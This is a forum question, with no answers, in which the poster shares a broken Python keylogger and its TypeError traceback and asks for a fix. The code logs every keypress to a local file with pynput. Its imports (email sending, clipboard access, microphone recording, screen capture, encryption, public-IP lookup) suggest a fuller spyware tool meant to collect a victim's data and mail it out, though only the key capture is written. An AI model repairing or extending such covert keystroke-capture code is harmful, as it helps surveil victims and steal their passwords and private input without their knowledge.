TypeError: 'KeyCode' object is not iterable

Viewed 27

I'am writing a keylogger and I'am having this error when I run the code can someone tell me what is wrong with the code
I'am using python 3.8

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib

from pynput.keyboard import Key, Listener

import socket
import platform

import pywintypes
import win32clipboard 

import time
import os 

from scipy.io.wavfile import write
import sounddevice as sd

from cryptography.fernet import Fernet

import getpass
from requests import get

from multiprocessing import process, freeze_support
from PIL import ImageGrab

Keys_informations = "Key_log.txt"
file_path = "D:\\ScreenLogger"
extends = "\\"

count = 0
keys = []

def on_press(key):
    global keys, count
    print(key)
    keys.append(key)
    count +=1

    if count >= 1:
       count = 0
       write_to_file(keys)

 
def write_to_file(keys):
    with open(file_path + extends + Keys_informations, "a") as f:
       for key in keys:
           k = str(key).replace("'", "")
           if k.find("space") > 0:
               f.write('\n')
               f.close()
           elif k.find("key") == -1:
               f.write(k)
               f.close()
               
def on_release(key):
    if key == Key.esc:
        return False               

with Listener(on_press=write_to_file, on_release=on_release) as listener:
    listener.join()

this is the error:

        Unhandled exception in listener callback
        Traceback (most recent call last):
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
            return f(self, *args, **kwargs)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
            self.on_press(key)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
            if f(*args) is False:
          File "d:\ScreenLogger\keylogger.py", line 49, in write_to_file
            for key in keys:
        TypeError: 'KeyCode' object is not iterable
        Traceback (most recent call last):
          File "d:\ScreenLogger\keylogger.py", line 63, in <module>
            listener.join()
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 276, in join
            six.reraise(exc_type, exc_value, exc_traceback)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\six.py", line 718, in reraise
            raise value.with_traceback(tb)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
            return f(self, *args, **kwargs)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
            self.on_press(key)
          File "C:\Users\HP\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
            if f(*args) is False:
          File "d:\ScreenLogger\keylogger.py", line 49, in write_to_file
            for key in keys:
        TypeError: 'KeyCode' object is not iterable
0 Answers
Related